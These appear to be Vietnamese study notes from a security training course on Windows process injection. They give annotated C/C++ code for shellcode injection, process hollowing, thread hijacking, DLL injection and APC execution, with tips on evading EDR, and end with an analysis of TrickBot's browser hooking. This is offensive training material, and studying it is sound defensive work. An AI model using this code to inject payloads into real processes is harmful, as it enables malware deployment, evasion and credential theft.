Thuật ngữ Windows internals có thể đóng gói bất kỳ thành phần nào được tìm thấy ở back-end của hệ điều hành Windows. Nó có thể bao gồm process, file format, COM (Component Object Model), task cheduling, I/O System, DLL(Dynamic Link Library), PE (Portable Executable) format,...
Process
Các ứng dụng chạy trên hệ điều hành có thể chứa một hoặc nhiều process. Các process sẽ duy trì và trình diễn một chương trình đang được thực thi.
Process injection: Đưa mã độc vào một process thông qua chức năng hoặc thành phần hợp lệ. Dưới đấy là 4 loại phổ biến
Ở cấp độ độ cơ bản nhất, process injection diến ra dưới dạng shellcode injection
Ở cấp độ cáo hơn, shellcode injection có thể được chia thành 4 bước:
Mở một target process với tất cả quyền truy cập
Allocate target process memory cho shellcode
Viết shellcode vào allocated process trong target process
Thực thi shellcode bằng remote thread.
Phân tích một chương trình injector shellcode cơ bản:
Mở target process bằng các tham số đặc biệt
processHandle = OpenProcess(
PROCESS_ALL_ACCESS, // Defines access rights
FALSE, // Target handle will not be inhereted
DWORD(atoi(argv[1])) // Local process supplied by command-line arguments
);
Allocate memory cho cho đủ kích thước byte của shellcode
remoteBuffer = VirtualAllocEx(
processHandle, // Opened target process
NULL,
sizeof shellcode, // Region size of memory allocation
(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
Sử dụng allocated memory region để viết shellcode độc hại vào.
WriteProcessMemory(
processHandle, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
sizeof shellcode, // byte size of data
NULL
);
Thực thi shellcode nằm trong memory sử dụng CreateRemoteThread;
remoteThread = CreateRemoteThread(
processHandle, // Opened target process
NULL,
0, // Default size of the stack
(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
NULL,
0, // Ran immediately after creation
NULL
);
Process Hollowing
Có thể chia làm 6 bước:
Tạo một target process ở suspended state
Mở một malicious image
Un-map code hợp lệ từ process memory
Allocate memory locations cho mã độc và ghi từng section vào address space
Đặt entry point cho mã độc
Cho target process chạy
Phân tích một process hollowing injector cơ bản:
Tạo một target process ở suspended state sử dụng CreateProcessA
LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointer
if (CreateProcessA(
(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
NULL,
NULL,
NULL,
TRUE, // Handles are inherited from the calling process
CREATE_SUSPENDED, // New process is suspended
NULL,
NULL,
target_si, // pointer to startup info
target_pi) == 0) { // pointer to process information
cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
return 1;
Mở một malicious image để inject. Quá trình này chia thành 3 bước, bắt đầu bằng việc sử dụng CreateFileA để lấy handle cho malicious image
HANDLE hMaliciousCode = CreateFileA(
(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtain
GENERIC_READ, // Read-only access
FILE_SHARE_READ, // Read-only share mode
NULL,
OPEN_EXISTING, // Instructed to open a file or device if it exists
NULL,
NULL
);
Allocate memory cho local process sử dụng VirtualAlloc. GetFileSize cũng được sử dụng đẻ lấy kích thước của malicious image cho dwSize.
Sử dụng ReadFile để ghi mã độc vào local process memory
DWORD numberOfBytesRead; // Stores number of bytes read
if (!ReadFile(
hMaliciousCode, // Handle of malicious image
pMaliciousImage, // Allocated region of memory
maliciousFileSize, // File size of malicious image
&numberOfBytesRead, // Number of bytes read
NULL
)) {
cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
TerminateProcess(target_pi->hProcess, 0);
return 1;
}
CloseHandle(hMaliciousCode);
Process cần phải "hollowed" bằng cách un-mapping memory. Để làm được điều này, cần phải xác định vị trí của process trong memory (có thể tìm thấy trongEAX register) và entry point (có thể tìm thấy trongEBX register). Tìm 2 register này sử dụng GetThreadContext, sau đó ReadProcessMemory được sử dụng để lấy base address từ EBX với offset (0x8), thu được từ việc kiểm tra PEB.
c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to store retrieved context
); // Obtains the current thread context
PVOID pTargetImageBaseAddress;
ReadProcessMemory(
target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
(PVOID)(c.Ebx + 8), // Pointer to the base address
&pTargetImageBaseAddress, // Store target base address
sizeof(PVOID), // Bytes to read
0 // Number of bytes out
);
Sử dụng ZwUnmapViewOfSection được import từ ntdll.dll để giải phóng memory khỏi target process.
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
hNtdllBase, // Handle of ntdll
"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdll
DWORD dwResult = pZwUnmapViewOfSection(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress // Base address of the process
);
Bắt đầu allocate memory vào trong process đã làm rỗng.
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure
PVOID pHollowAddress = VirtualAllocEx(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
sizeOfMaliciousImage, // Byte size obtained from optional header
0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);
Khi đã allocate memory, có thể ghi file mã độc vào memory. Trước tiên phải ghi PE header.
if (!WriteProcessMemory(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
pMaliciousImage, // Local memory where the malicious file resides
pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers
NULL
)) {
cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}
Sau đó là các PE section.
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header
WriteProcessMemory(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section
(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
pSectionHeader->SizeOfRawData, // Byte size of current section
NULL
);
}
Cũng có thể sử dụng relocation table để ghi file vào target memory
Sử dụng SetThreadContext để chuyển EAX để trỏ vào entry point.
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header
SetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to the stored context structure
);
Đưa process ra khỏi suspended state sử dụng ResumeThread
ResumeThread(
target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);
Thead hijacking
Ở cấp độ cao, thread (execution) hijacking có thể được chia thành các bước:
Xác định vị trị và mở target process để kiểm soát
Allocate memory region cho mã độc
Viết mã độc vào allocated memory
Xác định thread ID của target thread để hijack
Mở target thread
Suspend target thread
Lấy thread context
Cập nhật con trỏ lệnh tới mã độc
Viết lại target process context
Tiếp tục hijacked thread
Phân tích một thread hijacking script cơ bản:
Bước 1, 2 ,3
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child processes do not inheret parent process handle
processId // Stored process ID
);
PVOIF remoteBuffer = VirtualAllocEx(
hProcess, // Opened target process
NULL,
sizeof shellcode, // Region size of memory allocation
(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
WriteProcessMemory(
processHandle, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
sizeof shellcode, // byte size of data
NULL
);
Xác định thread ID sử dụng bộ 3 API calls của Windows: CreateToolhelp32Snapshot(), Thread32First(), và Thread32Next().
THREADENTRY32 threadEntry;
HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
TH32CS_SNAPTHREAD, // Include all processes residing on the system
0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshot
hSnapshot, // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
);
while (Thread32Next( // Obtains the next thread in the snapshot
snapshot, // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
)) {
Mở target thread sủ dụng OpenThread với THREADENTRY32 structure pointer.
if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match
{
HANDLE hThread = OpenThread(
THREAD_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child threads do not inheret parent thread handle
threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer
);
break;
}
Suspend target process vừa mở.
SuspendThread(hThread);
Lấy thread context sử dụng GetThreadContext để lưu trữ một pointer.
CONTEXT context;
GetThreadContext(
hThread, // Handle for the thread
&context // Pointer to store the context structure
);
Ghi đè để trỏ đến malicious region của memory. Để overwrite register này có thể update thread context cho RIP
Update vào thread context hiện tại. Sử dụng SetThreadContext và pointer cho context.
SetThreadContext(
hThread, // Handle for the thread
&context // Pointer to the context structure
);
Đưa target thread ra khỏi supended state
ResumeThread(
hThread // Handle for the thread
);
DLL
Ở cấp độ cao, DLL injection có thể chia thành 5 bước:
Xác địn target process để inject
Mở target process
Allocate memory region cho DLL độc hại
Ghi DLL độc hại vào allocated memory
Chạy và thực thi DLL độc hại
Phân tích một DLL injector cơ bản:
Xác định target thread
DWORD getProcessId(const char *processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
TH32CS_SNAPPROCESS, // Include all processes residing on the system
0 // Indicates the current process
);
if (hSnapshot) {
PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
if (Process32First( // Obtains the first process in the snapshot
hSnapshot, // Handle of the snapshot
&entry // Pointer to the PROCESSENTRY32 structure
)) {
do {
if (!strcmp( // Compares two strings to determine if the process name matches
entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
processName // Supplied process name
)) {
return entry.th32ProcessID; // Process ID of matched process
}
} while (Process32Next( // Obtains the next process in the snapshot
hSnapshot, // Handle of the snapshot
&entry
)); // Pointer to the PROCESSENTRY32 structure
}
}
DWORD processId = getProcessId(processName); // Stores the enumerated process ID
Mở process
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child processes do not inheret parent process handle
processId // Stored process ID
);
Allocate memory cho DLL độc hại
LPVOID dllAllocatedMemory = VirtualAllocEx(
hProcess, // Handle for the target process
NULL,
strlen(dllLibFullPath), // Size of the DLL path
MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
Ghi DLL độc hại vào allocated memory
WriteProcessMemory(
hProcess, // Handle for the target process
dllAllocatedMemory, // Allocated memory region
dllLibFullPath, // Path to the malicious DLL
strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL
NULL
);
Load DLL sử dụng LoadLibrary; được import từ kernel32. Sau khi load, CreateRemoteThreadcó thể được sử dụng để thực thi memory bằng cách sử dụng LoadLibrarynhư hàm bắt đầu.
LPVOID loadLibrary = (LPVOID) GetProcAddress(
GetModuleHandle("kernel32.dll"), // Handle of the module containing the call
"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(
hProcess, // Handle for the target process
NULL,
0, // Default size from the execuatable of the stack
(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
dllAllocatedMemory, // pointer to the allocated memory region
0, // Runs immediately after creation
NULL
);
Memory Execution Alternatives
Tùy vào môi trường mà các thực thi shellcode sẽ khác nhay, đặc biệt khi gặp phải những thách thức như các trên một API mà không thể né tránh hay gỡ bỏ, hay EDR đang giám sát các threads. Ở các phần trước, ta chủ yếu xem xét các phương pháp cấp phát và ghi dữ liệu vào các process cục bộ hoặc từ xa (qua CreateThread và hàm tương tự là CreateRemoteThread). Thực thi cũng là một bước quan trọng trong bất kỳ kỹ thuật injection nào, mặc dù không quan trọng bằng khi cố gắng giảm thiểu các dấu vết bộ nhớ và IOCs (Indicators of Compromise). Khác với việc cấp phát và ghi dữ liệu, có nhiều lựa chọn khác nhau để thực hiện quá trình thực thi. Ta sẽ tìm hiểu ba phương pháp thực thi khác có thể được sử dụng tùy theo hoàn cảnh.
Invoking Function Pointers (Gọi con trỏ hàm)
Con trỏ hàm kiểu void là một phương pháp thực thi khối bộ nhớ độc đáo và khác lạ dựa hoàn toàn vào việc ép kiểu. Kỹ thuật này chỉ có thể thực thi với bộ nhớ được cấp phát cục bộ nhưng không phụ thuộc vào bất kỳ lệnh gọi API hoặc chức năng hệ thống nào khác.
Dòng mã một dòng dưới đây là dạng phổ biến nhất của con trỏ hàm void
Con trỏ hàm:
((void(*)())addressPointer)();
Phân tích các bước mà nó thực hiện.
Tạo một con trỏ hàm (void(*)())
Ép kiểu con trỏ bộ nhớ đã cấp phát hoặc mảng shellcode thành con trỏ hàm (<function pointer>)addressPointer
Triệu hồi con trỏ hàm để thực thi shellcode ();
Kỹ thuật này có trường hợp sử dụng rất cụ thể nhưng có thể rất khó phát hiện và hữu ích khi cần.
Asynchronous Procedure Calls (APC - Lời gọi thủ tục không đồng bộ)
Một hàm APC được queued vào một luồng thông qua QueueUserAPC. Sau khi queued, hàm APC sẽ tạo ra một ngắt phần mềm (software interrupt) và thực thi hàm vào lần tiếp theo khi luồng được lập lịch.
Để một ứng dụng người dùng có thể queue một hàm APC, luồng phải ở trạng thái “alertable state”. Trạng thái này yêu cầu luồng phải đang chờ đợi một như WaitForSingleObject hoặc Sleep.
Sử dụng VirtualAllocEx và WriteProcessMemory để cấp phát và ghi vào bộ nhớ.
QueueUserAPC(
(PAPCFUNC)addressPointer, // Con trỏ hàm APC trỏ đến bộ nhớ đã cấp phát, được định nghĩa bởi winnt
pinfo.hThread, // Handle đến luồng từ cấu trúc PROCESS_INFORMATION
(ULONG_PTR)NULL
);
ResumeThread(
pinfo.hThread // Handle đến luồng từ cấu trúc PROCESS_INFORMATION
);
WaitForSingleObject(
pinfo.hThread, // Handle đến luồng từ cấu trúc PROCESS_INFORMATION
INFINITE // Chờ vô hạn cho đến khi được cảnh báo
);
Kỹ thuật này là một sự thay thế tuyệt vời cho việc thực thi bằng luồng, nhưng gần đây đã được chú ý nhiều hơn trong kỹ thuật phát hiện, và các biện pháp cụ thể đang được triển khai để chống lại việc lạm dụng APC. Dù vậy, nó vẫn là một lựa chọn tốt tùy thuộc vào các biện pháp phát hiện mà bạn đang đối mặt.
Thao tác Section (Section Manipulation)
Một kỹ thuật phổ biến trong nghiên cứu mã độc là thao tác PE (Portable Executable) và section. Định dạng PE xác định cấu trúc và định dạng của tệp thực thi trong Windows. Đối với mục đích thực thi, chúng ta chủ yếu tập trung vào các section, cụ thể là .data và .text, cũng như các bảng và con trỏ đến các section cũng thường được sử dụng để thực thi dữ liệu.
Để bắt đầu với bất kỳ kỹ thuật thao tác section nào, chúng ta cần lấy một dump PE. Việc lấy dump PE thường được thực hiện bằng một DLL hoặc tệp độc hại khác được đưa vào xxd.
Cốt lõi của mỗi phương pháp là sử dụng toán học để di chuyển qua dữ liệu hex vật lý, sau đó được dịch sang dữ liệu PE.
Một số kỹ thuật nổi tiếng bao gồm RVA entry point parsing, section mapping, và relocation table parsing.
Nghiên cứu về Browser Injection và Hooking
Phân tíchTTPs (Tactics, Techniques, và Procedures) của TrickBot
TrickBot là một malware ngân hàng nổi tiếng, gần đây quay lại trong các cuộc tấn công tài chính với tính năng chính là browser hooking. Nó nhắm đến các trình duyệt bằng cách sử dụng OpenProcess để lấy handle của các trình duyệt phổ biến như Chrome, Firefox, và Edge. Sau khi truy cập được các tiến trình, TrickBot thực hiện reflective injection với các bước:
Mở tiến trình mục tiêu bằng OpenProcess.
Cấp phát bộ nhớ bằng VirtualAllocEx.
Ghi hàm và shellcode vào bộ nhớ bằng WriteProcessMemory.
Flush cache để commit changes bằng FlushInstructionCache.
Tạo luồng từ xa bằng RemoteThread hoặc RtlCreateUserThread.
Tiếp tục luông ResumeThread hoặc quay lại để tạo luồng người dùng mới RtlCreateUserThread
Sau khi injection thành công, TrickBot thực hiện cài đặt hook để can thiệp các API của trình duyệt. Mã giả cho quá trình này bao gồm:
Tính toán relative_offset để thực hiện nhảy tới mã độc.
elative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);
jmp_32_bit_relative_offset_opcode = 0xE9u; // "0xE9" -> opcode for a jump with a 32bit relative offset
Sử dụng VirtualProtectEx để thay đổi quyền bảo vệ bộ nhớ.
if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) ) // Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtectEx
{
v10 = *(_DWORD *)(original_function + 1);
v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
original_function[66] = 0xE9u;
*(_DWORD *)(original_function + 0x43) = v10 + v11;
write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5); // -> Manually write the hook
VirtualProtectEx( // Return to original protect state
(HANDLE)0xFFFFFFFF,
*(LPVOID *)(original_function + 1),
(unsigned __int8)original_function[5],
flOldProtect,
&flOldProtect);
result = 1;
Ghi hook bằng opcode nhảy và khôi phục quyền bảo vệ gốc.
Mục tiêu chính của quá trình này là giúp TrickBot có thể can thiệp vào các hàm API của trình duyệt để đánh cắp thông tin nhạy cảm như thông tin đăng nhập.